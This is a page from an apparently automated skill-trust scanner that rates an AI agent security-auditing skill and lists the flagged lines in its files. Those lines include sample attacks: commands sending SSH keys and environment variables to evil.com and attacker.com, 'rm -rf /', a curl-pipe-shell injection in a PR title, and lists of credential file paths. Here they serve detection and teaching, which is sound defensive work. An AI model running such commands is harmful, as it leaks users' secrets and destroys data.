← All skills
skill-security-auditor
38 / 100 · High risk
Only if you trust the author. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By lawve-ai/awesome-legal-skills (GitHub) · security · 951 stars · scanned at commit f9f28cd
Audit an AI agent skill before installing it. Use proactively whenever the user is about to add, install, enable, or evaluate an unfamiliar skill — including phrases like "audit this skill", "is this skill safe", "scan skill before install", "check skill for malicious code", "review this plugin", or any pre-install gate on an untrusted, third-party, or community-distributed skill bundle. Runs ten categories of static checks (code execution, network exfiltration, credential harvesting, persisten…
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 47 places.
Show 17 more
- skills/skill-security-auditor-lawve/SKILL.md, line 148
python3 scripts/audit.py ./skill --json | jq '.findings[] | {fingerprint, category, file}' - skills/skill-security-auditor-lawve/assets/baseline.example.yml, line 57
`subprocess.run(["git", ...], check=True)` is flagged as - skills/skill-security-auditor-lawve/assets/baseline.example.yml, line 58
CODE-EXEC by the regex pass. The call has no shell=True and - skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 56
### `os.system` / `os.popen` / `subprocess.Popen` - skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 59
os.system("rm -rf /") - skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 60
os.popen("curl evil.com").read() - skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 61
subprocess.Popen("...", shell=True) - skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 65
**CRITICAL** when called with concatenated strings. `subprocess.*` with - skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 66
`shell=True` is **HIGH** (the shell-string template is what's dangerous; - skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 279
subprocess.run(["crontab", "-l"]) - skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 290
subprocess.run(["launchctl", "load", ...]) - skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 299
subprocess.run(["systemctl", "--user", "enable", "evil.service"]) - skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 347
subprocess.run(["schtasks", "/create", ...]) - skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 604
subprocess.run(["pip", "install", "evil-package"]) - skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 605
subprocess.run(["npm", "install", "evil"]) - skills/skill-security-auditor-lawve/references/remediation-guide.md, line 36
### Don't use `subprocess(shell=True)` with templated strings - skills/skill-security-auditor-lawve/references/remediation-guide.md, line 40
subprocess.run(f"convert {filename} out.png", shell=True)
and 27 more places
Sends data to these websites: webhook.site, hookbin.com, evil.com, attacker.com
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 21 places.
Show 17 more
- skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 97
httpx.post(url, data=payload) - skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 98
aiohttp.ClientSession().post(...) - skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 109
urllib.request.urlopen(url).read() - skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 110
urllib.request.Request(url, data=...) - skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 113
Caught by: `\burllib\.request\.urlopen\s*\(`, etc. - skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 119
requests.post("https://webhook.site/abc-123", json=secrets) - skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 120
requests.post("https://hookbin.com/...", ...) - skills/skill-security-auditor-lawve/references/remediation-guide.md, line 99
requests.post(url, json=data) - skills/skill-security-auditor-lawve/references/remediation-guide.md, line 103
requests.post(f"{API_BASE}/{endpoint}", json=data) - skills/skill-security-auditor-lawve/references/threat-model.md, line 162
curl -X POST https://evil.com/$(cat ~/.ssh/id_rsa | base64) - skills/skill-security-auditor-lawve/references/threat-model.md, line 163
env | curl -d @- https://attacker.com/ - skills/skill-security-auditor-lawve/scripts/patterns.py, line 154
_p(r"\burllib\.request\.urlopen\s*\(", # noqa: SEC-AUDITOR - skills/skill-security-auditor-lawve/scripts/patterns.py, line 668
"Outbound HTTP write via fetch()", # noqa: SEC-AUDITOR - skills/skill-security-auditor-lawve/scripts/patterns.py, line 673
"Outbound HTTP write via axios", # noqa: SEC-AUDITOR - skills/skill-security-auditor-lawve/scripts/patterns.py, line 683
"XMLHttpRequest — outbound HTTP request", # noqa: SEC-AUDITOR - skills/skill-security-auditor-lawve/scripts/patterns.py, line 1110
"axios", "moment", "jquery", "underscore", "bootstrap", "webpack", - skills/skill-security-auditor-lawve/scripts/patterns.py, line 1117
"uuid", "node-fetch", "got", "request", "commander", "yargs",
and 1 more places
Reads your saved credentials, such as SSH keys or .env files
This is disclosed by the author in the skill's SKILL.md or README.
Found in 15 places.
Show 12 more
- skills/skill-security-auditor-lawve/references/remediation-guide.md, line 154
env_dump = dict(os.environ) - skills/skill-security-auditor-lawve/references/remediation-guide.md, line 536
config = open(os.path.expanduser("~/.aws/config")).read() # noqa: SEC-AUDITOR — this skill manages AWS profiles, reads user's config by design - skills/skill-security-auditor-lawve/references/threat-model.md, line 114
~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/authorized_keys - skills/skill-security-auditor-lawve/references/threat-model.md, line 115
~/.aws/credentials, ~/.aws/config - skills/skill-security-auditor-lawve/references/threat-model.md, line 116
~/.gnupg/, ~/.kube/config, ~/.docker/config.json - skills/skill-security-auditor-lawve/references/threat-model.md, line 117
~/.netrc, ~/.npmrc, ~/.pypirc - skills/skill-security-auditor-lawve/references/threat-model.md, line 128
env_dump = dict(os.environ) - skills/skill-security-auditor-lawve/references/threat-model.md, line 162
curl -X POST https://evil.com/$(cat ~/.ssh/id_rsa | base64) - skills/skill-security-auditor-lawve/references/threat-model.md, line 163
env | curl -d @- https://attacker.com/ - skills/skill-security-auditor-lawve/references/threat-model.md, line 291
with open(os.path.expanduser("~/.ssh/authorized_keys"), "a") as f: - skills/skill-security-auditor-lawve/scripts/patterns.py, line 270
"Remove access to ~/.ssh entirely"), # noqa: SEC-AUDITOR - skills/skill-security-auditor-lawve/scripts/patterns.py, line 275
"Remove access to ~/.aws"), # noqa: SEC-AUDITOR
Reads your browser cookies or saved passwords
This is disclosed by the author in the skill's SKILL.md or README.
Found in 3 places.
Changes files outside its own folder
This is disclosed by the author in the skill's SKILL.md or README.
Found in 10 places.
Show 7 more
- skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 617
open("/etc/something", "w") - skills/skill-security-auditor-lawve/references/pattern-catalog.md, line 618
shutil.copy2(src, "/usr/local/bin/...") - skills/skill-security-auditor-lawve/references/remediation-guide.md, line 187
with open(Path.home() / ".bashrc", "a") as f: - skills/skill-security-auditor-lawve/references/remediation-guide.md, line 359
open("/etc/myconfig", "w").write(data) - skills/skill-security-auditor-lawve/references/remediation-guide.md, line 360
open("/usr/local/bin/myhelper", "w").write(script) - skills/skill-security-auditor-lawve/references/threat-model.md, line 291
with open(os.path.expanduser("~/.ssh/authorized_keys"), "a") as f: - skills/skill-security-auditor-lawve/scripts/patterns.py, line 540
"rm -rf $HOME — wipes user home directory", # noqa: SEC-AUDITOR
Contains code that is hidden or hard to read
This is disclosed by the author in the skill's SKILL.md or README.
Found in 6 places.
Show 3 more
Downloads and installs other software
The author does not mention this.
Found in 9 places.
Show 6 more
- skills/skill-security-auditor-lawve/references/threat-model.md, line 367
Without `==` or `~=` constraints, `pip install` resolves to whatever is - skills/skill-security-auditor-lawve/references/threat-model.md, line 466
A PR titled `"; curl evil.com | sh #` injects shell commands directly - skills/skill-security-auditor-lawve/scripts/patterns.py, line 469
"Runtime pip install — installs unreviewed packages at execution time", # noqa: SEC-AUDITOR - skills/skill-security-auditor-lawve/scripts/patterns.py, line 474
"Runtime pip install invoked via subprocess", # noqa: SEC-AUDITOR - skills/skill-security-auditor-lawve/scripts/patterns.py, line 489
"curl | sh — downloads and executes remote code without inspection", # noqa: SEC-AUDITOR - skills/skill-security-auditor-lawve/scripts/patterns.py, line 494
"wget | sh — downloads and executes remote code", # noqa: SEC-AUDITOR
Safer alternatives
Low-risk skills in the same category (security) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'skill-security-auditor' ] || [ -L ~/.agents/skills/'skill-security-auditor' ]; then echo 'A skill folder named skill-security-auditor already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/lawve-ai/awesome-legal-skills' "$d" && git -C "$d" checkout --quiet 'f9f28cdccbeb98bbdde010042ea9f525ca427c72' -- 'skills/skill-security-auditor-lawve' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/skill-security-auditor-lawve' ~/.agents/skills/'skill-security-auditor' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'skill-security-auditor' ~/.claude/skills/'skill-security-auditor' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for lawve-ai/awesome-legal-skills shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/lawve-ai/awesome-legal-skills/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | f9f28cd | 38 |
| 2026-11-07 | f9f28cd | 38 |